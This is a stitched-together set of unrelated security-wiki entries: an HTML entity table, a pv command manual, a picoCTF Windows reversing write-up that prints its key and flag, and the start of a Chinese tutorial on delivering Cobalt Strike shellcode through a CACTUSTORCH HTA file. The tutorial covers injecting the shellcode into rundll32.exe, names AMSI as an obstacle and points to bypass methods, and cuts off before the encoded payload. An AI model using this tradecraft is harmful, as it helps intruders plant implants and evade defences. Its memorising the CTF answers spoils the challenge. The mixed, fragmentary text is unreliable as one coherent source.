lowercase d | `&#100;` | | `e` | lowercase e | `&#101;` | | `f` | lowercase f | `&#102;` | | `g` | lowercase g | `&#103;` | | `h` | lowercase h | `&#104;` | | `i` | lowercase i | `&#105;` | | `j` | lowercase j | `&#106;` | | `k` | lowercase k | `&#107;` | | `l` | lowercase l | `&#108;` | | `m` | lowercase m | `&#109;` | | `n` | lowercase n | `&#110;` | | `o` | lowercase o | `&#111;` | | `p` | lowercase p | `&#112;` | | `q` | lowercase q | `&#113;` | | `r` | lowercase r | `&#114;` | | `s` | lowercase s | `&#115;` | | `t` | lowercase t | `&#116;` | | `u` | lowercase u | `&#117;` | | `v` | lowercase v | `&#118;` | | `w` | lowercase w | `&#119;` | | `x` | lowercase x | `&#120;` | | `y` | lowercase y | `&#121;` | | `z` | lowercase z | `&#122;` | | `{` | left curly brace | `&#123;` | | `|` | vertical bar | `&#124;` | | `}` | right curly brace | `&#125;` | | `~` | tilde | `&#126;` | **设备控制 ASCII代码** ASCII 设备控制代码最初被设计为用来控制诸如打印机和磁带驱动器之类的硬件设备。在 HTML 文档中这些代码不会起任何作用。 | 结果 | 描述 | 实体编号 | | - | - | - | | NUL | null character | `&#00;` | | SOH | start of header | `&#01;` | | STX | start of text | `&#02;` | | ETX | end of text | `&#03;` | | EOT | end of transmission | `&#04;` | | ENQ | enquiry | `&#05;` | | ACK | acknowledge | `&#06;` | | BEL | bell (ring) | `&#07;` | | BS | backspace | `&#08;` | | HT | horizontal tab | `&#09;` | | LF | line feed | `&#10;` | | VT | vertical tab | `&#11;` | | FF | form feed | `&#12;` | | CR | carriage return | `&#13;` | | SO | shift out | `&#14;` | | SI | shift in | `&#15;` | | DLE | data link escape | `&#16;` | | DC1 | device control 1 | `&#17;` | | DC2 | device control 2 | `&#18;` | | DC3 | device control 3 | `&#19;` | | DC4 | device control 4 | `&#20;` | | NAK | negative acknowledge | `&#21;` | | SYN | synchronize | `&#22;` | | ETB | end transmission block | `&#23;` | | CAN | cancel | `&#24;` | | EM | end of medium | `&#25;` | | SUB | substitute | `&#26;` | | ESC | escape | `&#27;` | | FS | file separator | `&#28;` | | GS | group separator | `&#29;` | | RS | record separator | `&#30;` | | US | unit separator | `&#31;` | | DEL | delete (rubout) | `&#127;` | --- ## HTML ISO-8859-1 HTML 4.01 支持 ISO 8859-1 (Latin-1) 字符集。 ISO-8859-1 的较低部分(从 1 到 127 之间的代码)是最初的 7 比特 ASCII。 ISO-8859-1 的较高部分(从 160 到 255 之间的代码)全都有实体名称。 这些符号中的大多数都可以在不进行实体引用的情况下使用,但是实体名称或实体编号为那些不容易通过键盘键入的符号提供了表达的方法。 注释:实体名称对大小写敏感。 **带有实体名称的 ASCII 实体** | 结果 | 描述 | 实体名称 | 实体编号 | | - | - | - | - | | `"` | quotation mark | `&quot;` | `&#34;` | | `'` | apostrophe | `&apos;` | `&#39;` | | `&` | ampersand | `&amp;` | `&#38;` | | `<` | less-than | `&lt;` | `&#60;` | | `>` | greater-than | `&gt;` | `&#62;` | **ISO 8859-1 符号实体** | 结果 | 描述 | 实体名称 | 实体编号 | | - | - | - | - | | ` ` | non-breaking space | `&nbsp;` | `&#160;` | | `¡` | inverted exclamation mark | `&iexcl;` | `&#161;` | | `¢` | cent | `&cent;` | `&#162;` | | `£` | pound | `&pound;` | `&#163;` | | `¤` | currency | `&curren;` | `&#164;` | | `¥` | yen | `&yen;` | `&#165;` | | `¦` | broken vertical bar | `&brvbar;` | `&#166;` | | `§` | section | `&sect;` | `&#167;` | | `¨` | spacing diaeresis | `&uml;` | `&#168;` | | `©` | copyright | `&copy;` | `&#169;` | | `ª` | feminine ordinal indicator | `&ordf;` | `&#170;` | | `«` | angle quotation mark (left) | `&laquo;` | `&#171;` | | `¬` | negation | `&not;` | `&#172;` | | `­` | soft hyphen | `&shy;` | `&#173;` | | `®` | registered trademark | `&reg;` | `&#174;` | | `¯` | spacing macron | `&macr;` | `&#175;` | | `°` | degree | `&deg;` | `&#176;` | | `±` | plus-or-minus | `&plusmn;` | `&#177;` | | `²` | superscript 2 | `&sup2;` | `&#178;` | | `³` | superscript 3 | `&sup3;` | `&#179;` | | `´` | spacing acute | `&acute;` | `&#180;` | | `µ` | micro | `&micro;` | `&#181;` | | `¶` | paragraph | `&para;` | `&#182;` | | `·` | middle dot | `&middot;` | `&#183;` | | `¸` | spacing cedilla | `&cedil;` | `&#184;` | | `¹` | superscript 1 | `&sup1;` | `&#185;` | | `º` | masculine ordinal indicator | `&ordm;` | `&#186;` | | `»` | angle quotation mark (right) | `&raquo;` | `&#187;` | | `¼` | fraction 1/4 | `&frac14;` | `&#188;` | | `½` | fraction 1/2 | `&frac12;` | `&#189;` | | `¾` | fraction 3/4 | `&frac34;` | `&#190;` | | `¿` | inverted question mark | `&iquest;` | `&#191;` | | `×` | multiplication | `&times;` | `&#215;` | | `÷` | division | `&divide;` | `&#247;` | **ISO 8859-1 字符实体** | 结果 | 描述 | 实体名称 | 实体编号 | | - | - | - | - | | `À` | capital a, grave accent | `&Agrave;` | `&#192;` | | `Á` | capital a, acute accent | `&Aacute;` | `&#193;` | | `Â` | capital a, circumflex accent | `&Acirc;` | `&#194;` | | `Ã` | capital a, tilde | `&Atilde;` | `&#195;` | | `Ä` | capital a, umlaut mark | `&Auml;` | `&#196;` | | `Å` | capital a, ring | `&Aring;` | `&#197;` | | `Æ` | capital ae | `&AElig;` | `&#198;` | | `Ç` | capital c, cedilla | `&Ccedil;` | `&#199;` | | `È` | capital e, grave accent | `&Egrave;` | `&#200;` | | `É` | capital e, acute accent | `&Eacute;` | `&#201;` | | `Ê` | capital e, circumflex accent | `&Ecirc;` | `&#202;` | | `Ë` | capital e, umlaut mark | `&Euml;` | `&#203;` | | `Ì` | capital i, grave accent | `&Igrave;` | `&#204;` | | `Í` | capital i, acute accent | `&Iacute;` | `&#205;` | | `Î` | capital i, circumflex accent | `&Icirc;` | `&#206;` | | `Ï` | capital i, umlaut mark | `&Iuml;` | `&#207;` | | `Ð` | capital eth, Icelandic | `&ETH;` | `&#208;` | | `Ñ` | capital n, tilde | `&Ntilde;` | `&#209;` | | `Ò` | capital o, grave accent | `&Ograve;` | `&#210;` | | `Ó` | capital o, acute accent | `&Oacute;` | `&#211;` | | `Ô` | capital o, circumflex accent | `&Ocirc;` | `&#212;` | | `Õ` | capital o, tilde | `&Otilde;` | `&#213;` | | `Ö` | capital o, umlaut mark | `&Ouml;` | `&#214;` | | `Ø` | capital o, slash | `&Oslash;` | `&#216;` | | `Ù` | capital u, grave accent | `&Ugrave;` | `&#217;` | | `Ú` | capital u, acute accent | `&Uacute;` | `&#218;` | | `Û` | capital u, circumflex accent | `&Ucirc;` | `&#219;` | | `Ü` | capital u, umlaut mark | `&Uuml;` | `&#220;` | | `Ý` | capital y, acute accent | `&Yacute;` | `&#221;` | | `Þ` | capital THORN, Icelandic | `&THORN;` | `&#222;` | | `ß` | small sharp s, German | `&szlig;` | `&#223;` | | `à` | small a, grave accent | `&agrave;` | `&#224;` | | `á` | small a, acute accent | `&aacute;` | `&#225;` | | `â` | small a, circumflex accent | `&acirc;` | `&#226;` | | `ã` | small a, tilde | `&atilde;` | `&#227;` | | `ä` | small a, umlaut mark | `&auml;` | `&#228;` | | `å` | small a, ring | `&aring;` | `&#229;` | | `æ` | small ae | `&aelig;` | `&#230;` | | `ç` | small c, cedilla | `&ccedil;` | `&#231;` | | `è` | small e, grave accent | `&egrave;` | `&#232;` | | `é` | small e, acute accent | `&eacute;` | `&#233;` | | `ê` | small e, circumflex accent | `&ecirc;` | `&#234;` | | `ë` | small e, umlaut mark | `&euml;` | `&#235;` | | `ì` | small i, grave accent | `&igrave;` | `&#236;` | | `í` | small i, acute accent | `&iacute;` | `&#237;` | | `î` | small i, circumflex accent | `&icirc;` | `&#238;` | | `ï` | small i, umlaut mark | `&iuml;` | `&#239;` | | `ð` | small eth, Icelandic | `&eth;` | `&#240;` | | `ñ` | small n, tilde | `&ntilde;` | `&#241;` | | `ò` | small o, grave accent | `&ograve;` | `&#242;` | | `ó` | small o, acute accent | `&oacute;` | `&#243;` | | `ô` | small o, circumflex accent | `&ocirc;` | `&#244;` | | `õ` | small o, tilde | `&otilde;` | `&#245;` | | `ö` | small o, umlaut mark | `&ouml;` | `&#246;` | | `ø` | small o, slash | `&oslash;` | `&#248;` | | `ù` | small u, grave accent | `&ugrave;` | `&#249;` | | `ú` | small u, acute accent | `&uacute;` | `&#250;` | | `û` | small u, circumflex accent | `&ucirc;` | `&#251;` | | `ü` | small u, umlaut mark | `&uuml;` | `&#252;` | | `ý` | small y, acute accent | `&yacute;` | `&#253;` | | `þ` | small thorn, Icelandic | `&thorn;` | `&#254;` | | `ÿ` | small y, umlaut mark | `&yuml;` | `&#255;` | ## 符号 **HTML 支持的数学符号** | 结果 | 描述 | 实体名称 | 实体编号 | | - | - | - | - | | `∀` | for all | `&forall;` | `&#8704;` | | `∂` | part | `&part;` | `&#8706;` | | `∃` | exists | `&exists;` | `&#8707;` | | `∅` | empty | `&empty;` | `&#8709;` | | `∇` | nabla | `&nabla;` | `&#8711;` | | `∈` | isin | `&isin;` | `&#8712;` | | `∉` | notin | `&notin;` | `&#8713;` | | `∋` | ni | `&ni;` | `&#8715;` | | `∏` | prod | `&prod;` | `&#8719;` | | `∑` | sum | `&sum;` | `&#8721;` | | `−` | minus | `&minus;` | `&#8722;` | | `∗` | lowast | `&lowast`; | `&#8727;` | | `√` | square root | `&radic;` | `&#8730;` | | `∝` | proportional to | `&prop;` | `&#8733;` | | `∞` | infinity | `&infin;` | `&#8734;` | | `∠` | angle | `&ang;` | `&#8736;` | | `∧` | and | `&and;` | `&#8743;` | | `∨` | or | `&or;` | `&#8744;` | | `∩` | cap | `&cap;` | `&#8745;` | | `∪` | cup | `&cup;` | `&#8746;` | | `∫` | integral | `&int;` | `&#8747;` | | `∴` | therefore | `&there4;` | `&#8756;` | | `∼` | simular to | `&sim;` | `&#8764;` | | `≅` | approximately equal | `&cong;` | `&#8773;` | | `≈` | almost equal | `&asymp;` | `&#8776;` | | `≠` | not equal | `&ne;` | `&#8800;` | | `≡` | equivalent | `&equiv;` | `&#8801;` | | `≤` | less or equal | `&le;` | `&#8804;` | | `≥` | greater or equal | `&ge;` | `&#8805;` | | `⊂` | subset of | `&sub;` | `&#8834;` | | `⊃` | superset of | `&sup;` | `&#8835;` | | `⊄` | not subset of | `&nsub;` | `&#8836;` | | `⊆` | subset or equal | `&sube;` | `&#8838;` | | `⊇` | superset or equal | `&supe;` | `&#8839;` | | `⊕` | circled plus | `&oplus;` | `&#8853;` | | `⊗` | cirled times | `&otimes;` | `&#8855;` | | `⊥` | perpendicular | `&perp;` | `&#8869;` | | `⋅` | dot operator | `&sdot;` | `&#8901;` | **HTML 支持的希腊字母** | 结果 | 描述 | 实体名称 | 实体编号 | | - | - | - | - | | `Α` | Alpha | `&Alpha;` | `&#913;` | | `Β` | Beta | `&Beta;` | `&#914;` | | `Γ` | Gamma | `&Gamma;` | `&#915;` | | `Δ` | Delta | `&Delta;` | `&#916;` | | `Ε` | Epsilon | `&Epsilon;` | `&#917;` | | `Ζ` | Zeta | `&Zeta;` | `&#918;` | | `Η` | Eta | `&Eta;` | `&#919;` | | `Θ` | Theta | `&Theta;` | `&#920;` | | `Ι` | Iota | `&Iota;` | `&#921;` | | `Κ` | Kappa | `&Kappa;` | `&#922;` | | `Λ` | Lambda | `&Lambda;` | `&#923;` | | `Μ` | Mu | `&Mu;` | `&#924;` | | `Ν` | Nu | `&Nu;` | `&#925;` | | `Ξ` | Xi | `&Xi;` | `&#926;` | | `Ο` | Omicron | `&Omicron;` | `&#927;` | | `Π` | Pi | `&Pi;` | `&#928;` | | `Ρ` | Rho | `&Rho;` | `&#929;` | | `Σ` | Sigma | `&Sigma;` | `&#931;` | | `Τ` | Tau | `&Tau;` | `&#932;` | | `Υ` | Upsilon | `&Upsilon;` | `&#933;` | | `Φ` | Phi | `&Phi;` | `&#934;` | | `Χ` | Chi | `&Chi;` | `&#935;` | | `Ψ` | Psi | `&Psi;` | `&#936;` | | `Ω` | Omega | `&Omega;` | `&#937;` | | `α` | alpha | `&alpha;` | `&#945;` | | `β` | beta | `&beta;` | `&#946;` | | `γ` | gamma | `&gamma;` | `&#947;` | | `δ` | delta | `&delta;` | `&#948;` | | `ε` | epsilon | `&epsilon;` | `&#949;` | | `ζ` | zeta | `&zeta;` | `&#950;` | | `η` | eta | `&eta;` | `&#951;` | | `θ` | theta | `&theta;` | `&#952;` | | `ι` | iota | `&iota;` | `&#953;` | | `κ` | kappa | `&kappa;` | `&#954;` | | `λ` | lambda | `&lambda;` | `&#923;` | | `μ` | mu | `&mu;` | `&#956;` | | `ν` | nu | `&nu;` | `&#925;` | | `ξ` | xi | `&xi;` | `&#958;` | | `ο` | omicron | `&omicron`; | `&#959;` | | `π` | pi | `&pi;` | `&#960;` | | `ρ` | rho | `&rho;` | `&#961;` | | `ς` | sigmaf | `&sigmaf;` | `&#962;` | | `σ` | sigma | `&sigma;` | `&#963;` | | `τ` | tau | `&tau;` | `&#964;` | | `υ` | upsilon | `&upsilon;` | `&#965;` | | `φ` | phi | `&phi;` | `&#966;` | | `χ` | chi | `&chi;` | `&#967;` | | `ψ` | psi | `&psi;` | `&#968;` | | `ω` | omega | `&omega;` | `&#969;` | | `ϑ` | theta symbol | `&thetasym;` | `&#977;` | | `ϒ` | upsilon symbol | `&upsih;` | `&#978;` | | `ϖ` | pi symbol | `&piv;` | `&#982;` | **HTML 支持的其他实体** | 结果 | 描述 | 实体名称 | 实体编号 | | - | - | - | - | | `Œ` | capital ligature OE | `&OElig;` | `&#338;` | | `œ` | small ligature oe | `&oelig;` | `&#339;` | | `Š` | capital S with caron | `&Scaron;` | `&#352;` | | `š` | small S with caron | `&scaron;` | `&#353;` | | `Ÿ` | capital Y with diaeres | `&Yuml;` | `&#376;` | | `ƒ` | f with hook | `&fnof;` | `&#402;` | | `ˆ` | modifier letter circumflex accent | `&circ;` | `&#710;` | | `˜` | small tilde | `&tilde;` | `&#732;` | | ` ` | en space | `&ensp;` | `&#8194;` | | ` ` | em space | `&emsp;` | `&#8195;` | | ` ` | thin space | `&thinsp;` | `&#8201;` | | `‌` | zero width non-joiner | `&zwnj;` | `&#8204;` | | `‍` | zero width joiner | `&zwj;` | `&#8205;` | | `‎` | left-to-right mark | `&lrm;` | `&#8206;` | | `‏` | right-to-left mark | `&rlm;` | `&#8207;` | | `-` | en dash | `&ndash;` | `&#8211;` | | `—` | em dash | `&mdash;` | `&#8212;` | | `‘` | left single quotation mark | `&lsquo;` | `&#8216;` | | `’` | right single quotation mark | `&rsquo;` | `&#8217;` | | `‚` | single low-9 quotation mark | `&sbquo;` | `&#8218;` | | `“` | left double quotation mark | `&ldquo;` | `&#8220;` | | `”` | right double quotation mark | `&rdquo;` | `&#8221;` | | `„` | double low-9 quotation mark | `&bdquo;` | `&#8222;` | | `†` | dagger | `&dagger;` | `&#8224;` | | `‡` | double dagger | `&Dagger;` | `&#8225;` | | `•` | bullet | `&bull;` | `&#8226;` | | `…` | horizontal ellipsis | `&hellip;` | `&#8230;` | | `‰` | per mille | `&permil;` | `&#8240;` | | `′` | minutes | `&prime;` | `&#8242;` | | `″` | seconds | `&Prime;` | `&#8243;` | | `‹` | single left angle quotation | `&lsaquo;` | `&#8249;` | | `›` | single right angle quotation | `&rsaquo;` | `&#8250;` | | `‾` | overline | `&oline;` | `&#8254;` | | `€` | euro | `&euro;` | `&#8364;` | | `™` | trademark | `&trade;` | `&#8482;` | | `←` | left arrow | `&larr;` | `&#8592;` | | `↑` | up arrow | `&uarr;` | `&#8593;` | | `→` | right arrow | `&rarr;` | `&#8594;` | | `↓` | down arrow | `&darr;` | `&#8595;` | | `↔` | left right arrow | `&harr;` | `&#8596;` | | `↵` | carriage return arrow | `&crarr;` | `&#8629;` | | `⌈` | left ceiling | `&lceil;` | `&#8968;` | | `⌉` | right ceiling | `&rceil;` | `&#8969;` | | `⌊` | left floor | `&lfloor;` | `&#8970;` | | `⌋` | right floor | `&rfloor;` | `&#8971;` | | `◊` | lozenge | `&loz;` | `&#9674;` | | `♠` | spade | `&spades;` | `&#9824;` | | `♣` | club | `&clubs;` | `&#9827;` | | `♥` | heart | `&hearts;` | `&#9829;` | | `♦` | diamond | `&diams;` | `&#9830;` |
sec-knowleage
pv === 显示当前在命令行执行的命令的进度信息,管道查看器 ## 补充说明 **pv命令** Pipe Viewer 的简称,由Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比(通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间。 ## 下载安装 ```shell # Debian 系的操作系统,如 Ubuntu sudo apt-get install pv # RedHat系的则这样: yum install pv ``` ### 语法 ```shell pv(选项)(参数) pv [OPTION] [FILE]... ``` ### 选项 ```shell -p, --progress 显示进度条 -t, --timer 显示已用时间 -e, --eta 显示预计到达时间 (完成) -I, --fineta 显示绝对估计到达时间 (完成) -r, --rate 显示数据传输速率计数器 -a, --average-rate 显示数据传输平均速率计数器 -b, --bytes 显示传输的字节数 -T, --buffer-percent 显示正在使用的传输缓冲区百分比 -A, --last-written NUM 显示上次写入的字节数 -F, --format FORMAT 将输出格式设置为FORMAT -n, --numeric 输出百分比 -q, --quiet 不输出任何信息 -W, --wait 在传输第一个字节之前不显示任何内容 -D, --delay-start SEC 在SEC秒过去之前不显示任何内容 -s, --size SIZE 将估算的数据大小设置为SIZE字节 -l, --line-mode 计算行数而不是字节数 -0, --null 行以零结尾 -i, --interval SEC 每SEC秒更新一次 -w, --width WIDTH 假设终端的宽度为WIDTH个字符 -H, --height HEIGHT 假设终端高度为HEIGHT行 -N, --name NAME 在可视信息前面加上名称 -f, --force 将标准错误输出到终端 -c, --cursor 使用光标定位转义序列 -L, --rate-limit RATE 将传输限制为每秒RATE字节 -B, --buffer-size BYTES 使用BYTES的缓冲区大小 -C, --no-splice 从不使用splice(),始终使用读/写 -E, --skip-errors 跳过输入中的读取错误 -S, --stop-at-size 传输--size字节后停止 -R, --remote PID 更新过程PID的设置 -P, --pidfile FILE 将进程ID保存在FILE中 -d, --watchfd PID[:FD] 监视进程PID,打开的文件FD -h, --help 显示帮助 -V, --version 显示版本信息 ``` ### 实例 我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。 ```shell # 复制文件会有进度 linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/CentOS-7-x86_64-Minimal-1511.iso # 下面输入信息 552MiB 0:00:02 [ 212MiB/s] [==================> ] 91% ETA 0:00:00 # -L 可以让你修改 pv 命令的传输速率。 # 使用 -L 选项来限制传输速率为2MB/s。 pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv ``` 复制文件时显示进度条(如果没有指定选项,默认使用 -p, -t, -e, -r 和 -b 选项) ```bash $ pv getiot.db > getiot.db.bak ``` 将 `/var/log/syslog` 文件打包成 zip 压缩包,并显示进度 ```bash $ pv /var/log/syslog | zip > syslog.zip ``` 使用 tar 命令解压缩时显示进度条 ```bash $ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ 12.3MiB 0:00:02 [6.15MiB/s] [=========> ] 21% ETA 0:00:07 ```` 解压完成 ```bash $ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ 57.8MiB 0:00:10 [5.53MiB/s] [==============================================>] 100% ``` 字符一个个匀速在命令行中显示出来 ```shell echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10 ``` 压缩文件展示进度信息 ```shell pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz ``` 用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示 ```shell sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m ## 显示下面进度 source: 5.2GiB 5:11:41 [ 503KiB/s] [=====================> ] 71% ETA 2:01:56 ``` 在linux上, 如果执行的一些命令或者一些脚本需要花费很长时间, 但又不能拿出更多的精力反复盯着有没有执行结束, 这时候可以用pv监听PID, 任务完成后通过网络通知到微信或者钉钉, 这样就可以腾出来精力做其他的事, 是不是很棒 ```shell $ pv -d $(ps -ef | grep -v grep | grep "<脚本或命令的关键字>" | awk '{print $2}') && <这里执行发通知脚本或者命令,脚本或命令需要提前调试好> ``` ### 注意 1. 选项"-d, --watchfd PID[:FD]", 是在1.6.6版本中才有的参数,如果使用需要`pv`升级到大于等于1.6.6的版本 2. CentOS7的Yum仓库里`pv`最新的是1.4.6版本,1.6.6版本是发布在CentOS8里面的,如果需要,可以将CentOS8里的pv下载到本地电脑上或者本地的Yum私服里, 这个是[下载地址](http://www.rpmfind.net/linux/rpm2html/search.php?query=pv&submit=Search+...&system=EPEL&arch=), 可以根据自己不同的架构下载, 1.6.6的安装: `rpm -ivh pv-1.6.6-7.el8.x86_64.rpm -U`
sec-knowleage
# B1ll_Gat35 Reverse Engineering, 400 points ## Description: > Can you reverse this Windows Binary? ## Solution: This is a Windows reversing challenge. Let's start by running the executable: ```console E:\CTFs\pico\B1ll_Gat35>win-exec-1.exe Input a number between 1 and 5 digits: 1 Initializing... Enter the correct key to get the access codes: test Incorrect key. Try again. ``` We need to provide the correct key in order to get the flag. Let's take a look at the main function's decompilation using Ghidra: ```c void main(void) { int iVar1; FILE *pFVar2; uint uVar3; int user_input; int num_digits; char is_valid; char local_6c [100]; uint local_8; local_8 = DAT_0047b174 ^ (uint)&stack0xfffffffc; _print(s_Input_a_number_between_1_and_5_d_0047b06c); _scanf(&DAT_0047b094,&user_input); num_digits = 1; while (9 < user_input) { num_digits = num_digits + 1; user_input = user_input / 10; } /* user_input is now least significat digit of input */ if (num_digits < 6) { _print(s_Initializing..._0047b0b4); initialize_key(user_input,num_digits); do { iVar1 = thunk_FUN_00415840(); } while (iVar1 != 10); _print(s_Enter_the_correct_key_to_get_the_0047b0c8); pFVar2 = (FILE *)___acrt_iob_func(0); thunk_FUN_004157db(local_6c,100,pFVar2); uVar3 = validate_key(local_6c); is_valid = (char)uVar3; if (is_valid == '\0') { _print(s_Incorrect_key._Try_again._0047b0f8); } else { _print(s_Correct_input._Printing_flag:_0047b114); print_flag(); } } else { _print(s_Number_too_big._Try_again._0047b098); } thunk_FUN_004084bf(); return; } ``` We can see the calculation of the number of digits for the first request ("Input a number between 1 and 5 digits"), then some initialization using the number of digits and the least significant digit. Later, `validate_key` is called, and an appropriate string is printed according to the result. Since the next-level functions are a bit complicated to statically reverse, it's convenient to use a debugger side-by-side. `x64dbg` is a great choice. However, before starting to debug, it makes life easier to disable ASLR. This can be done using a tool called `CFF Explorer`. We open the executable in the tool, select `NT Headers -> Optional Headers -> DllCharacteristics -> Click Here -> DLL can move` and remove the checkbox. We can then save the executable and debug it without having to worry about ASLR. Stepping through the code, we can see an interesting string in `eax` after calling `initialize_key` (a.k.a. `win-exec-1-noaslr.402117`): ``` 00408040 | 55 | push ebp | 00408041 | 8BEC | mov ebp,esp | 00408043 | 83EC 74 | sub esp,74 | 00408046 | A1 74B14700 | mov eax,dword ptr ds:[47B174] | eax:"The key is: 425" 0040804B | 33C5 | xor eax,ebp | 0040804D | 8945 FC | mov dword ptr ss:[ebp-4],eax | 00408050 | 68 6CB04700 | push win-exec-1-noaslr.47B06C | 47B06C:"Input a number between 1 and 5 digits: " 00408055 | E8 0B94FFFF | call win-exec-1-noaslr.401465 | 0040805A | 83C4 04 | add esp,4 | 0040805D | 8D45 8C | lea eax,dword ptr ss:[ebp-74] | 00408060 | 50 | push eax | eax:"The key is: 425" 00408061 | 68 94B04700 | push win-exec-1-noaslr.47B094 | 47B094:"%d" 00408066 | E8 4698FFFF | call win-exec-1-noaslr.4018B1 | 0040806B | 83C4 08 | add esp,8 | 0040806E | C745 90 01000000 | mov dword ptr ss:[ebp-70],1 | 00408075 | 837D 8C 09 | cmp dword ptr ss:[ebp-74],9 | 9:'\t' 00408079 | 7E 19 | jle win-exec-1-noaslr.408094 | 0040807B | 8B4D 90 | mov ecx,dword ptr ss:[ebp-70] | 0040807E | 83C1 01 | add ecx,1 | 00408081 | 894D 90 | mov dword ptr ss:[ebp-70],ecx | 00408084 | 8B45 8C | mov eax,dword ptr ss:[ebp-74] | 00408087 | 99 | cdq | 00408088 | B9 0A000000 | mov ecx,A | A:'\n' 0040808D | F7F9 | idiv ecx | 0040808F | 8945 8C | mov dword ptr ss:[ebp-74],eax | 00408092 | EB E1 | jmp win-exec-1-noaslr.408075 | 00408094 | 837D 90 05 | cmp dword ptr ss:[ebp-70],5 | 00408098 | 7E 16 | jle win-exec-1-noaslr.4080B0 | 0040809A | 68 98B04700 | push win-exec-1-noaslr.47B098 | 47B098:"Number too big. Try again.\n" 0040809F | E8 C193FFFF | call win-exec-1-noaslr.401465 | 004080A4 | 83C4 04 | add esp,4 | 004080A7 | 33C0 | xor eax,eax | eax:"The key is: 425" 004080A9 | E9 8B000000 | jmp win-exec-1-noaslr.408139 | 004080AE | EB 1D | jmp win-exec-1-noaslr.4080CD | 004080B0 | 68 B4B04700 | push win-exec-1-noaslr.47B0B4 | 47B0B4:"Initializing...\n" 004080B5 | E8 AB93FFFF | call win-exec-1-noaslr.401465 | 004080BA | 83C4 04 | add esp,4 | 004080BD | 8B55 90 | mov edx,dword ptr ss:[ebp-70] | 004080C0 | 52 | push edx | 004080C1 | 8B45 8C | mov eax,dword ptr ss:[ebp-74] | 004080C4 | 50 | push eax | eax:"The key is: 425" 004080C5 | E8 4DA0FFFF | call win-exec-1-noaslr.402117 | 004080CA | 83C4 08 | add esp,8 | <<----------------------------- EIP 004080CD | E8 93B1FFFF | call win-exec-1-noaslr.403265 | ``` The string says `The key is: 425`. Let's try that in parallel: ```console E:\CTFs\pico\B1ll_Gat35>win-exec-1.exe Input a number between 1 and 5 digits: 1 Initializing... Enter the correct key to get the access codes: 425 Incorrect key. Try again. ``` No-go. Let's continue stepping. We are requested to enter our key at `win-exec-1-noaslr.4036ED` (a.k.a. `___acrt_iob_func`). We enter a random string (e.g. `1234`) and continue. A few steps later, we see another interesting string in `ecx`: ``` 004080F0 | 50 | push eax | 004080F1 | 6A 64 | push 64 | 004080F3 | 8D4D 98 | lea ecx,dword ptr ss:[ebp-68] | 004080F6 | 51 | push ecx | ecx:"The key is: 4253360" 004080F7 | E8 61AAFFFF | call win-exec-1-noaslr.402B5D | 004080FC | 83C4 0C | add esp,C | 004080FF | 8D55 98 | lea edx,dword ptr ss:[ebp-68] | 00408102 | 52 | push edx | 00408103 | E8 ADACFFFF | call win-exec-1-noaslr.402DB5 | 00408108 | 83C4 04 | add esp,4 |<<----------------------------- EIP 0040810B | 8845 97 | mov byte ptr ss:[ebp-69],al | 0040810E | 0FB645 97 | movzx eax,byte ptr ss:[ebp-69] | 00408112 | 85C0 | test eax,eax | 00408114 | 75 0F | jne win-exec-1-noaslr.408125 | 00408116 | 68 F8B04700 | push win-exec-1-noaslr.47B0F8 | 47B0F8:"Incorrect key. Try again.\n" 0040811B | E8 4593FFFF | call win-exec-1-noaslr.401465 | 00408120 | 83C4 04 | add esp,4 | 00408123 | EB 12 | jmp win-exec-1-noaslr.408137 | 00408125 | 68 14B14700 | push win-exec-1-noaslr.47B114 | 47B114:"Correct input. Printing flag: " 0040812A | E8 3693FFFF | call win-exec-1-noaslr.401465 | 0040812F | 83C4 04 | add esp,4 | 00408132 | E8 CE9DFFFF | call win-exec-1-noaslr.401F05 | ``` It now says "`The key is: 4253360`". Let's try that in parallel: ```console E:\CTFs\pico\B1ll_Gat35>win-exec-1.exe Input a number between 1 and 5 digits: 1 Initializing... Enter the correct key to get the access codes: 4253360 Incorrect key. Try again. ``` Didn't work. But what if we try the complete string? ```console E:\CTFs\pico\B1ll_Gat35>win-exec-1.exe Input a number between 1 and 5 digits: 1 Initializing... Enter the correct key to get the access codes: The key is: 4253360 Correct input. Printing flag: PICOCTF{These are the access codes to the vault: 1063340} ``` That actually gives us the flag, without any need to reverse the deeper levels.
sec-knowleage
# 0x00 简介 在Windows中我们的马还可以是多种形势比如`JavaScript`、`VBScript`、`hta` ,因此出现一个工具DotNetToJScript 它可以利用这些脚本文件来加载.NET 然后执行我们的文件。 贴心的大佬们已经给大家准备好了 https://github.com/mdsecactivebreach/CACTUSTORCH 上面有各种脚本的利用方式,还有支持 `Cobalt Strike` 的cna文件,但是现在直接引入会被微软的AMSI拦截,推特上有很多大佬的bypass方法大家可以关注一下。 当然它只是一种思路你直接使用AV肯定把你拦截。 # 0x01 HTA 前面我们讲过`Cobalt Strike` 本身自己也支持生成HTA,所以这里我依旧使用HTA了。 我们需要用到的就是上文的链接的文件 https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.hta 其实操作方法已经在里面写好了,还是简单的演示一下。 >Attacks > Packages > Payload Generator 生成一个raw 的shell code ![Cobalt Strike ](./img/2.3.1.png) 然后用 `cat payload.bin | base64 -w 0` 转成 base64 ``` ' Replace with binary name that you want to inject into. This can be anything that exists both in SYSWOW64 and SYSTEM32 Dim binary : binary = "rundll32.exe" ' Base64 encoded 32 bit shellcode Dim code : code = 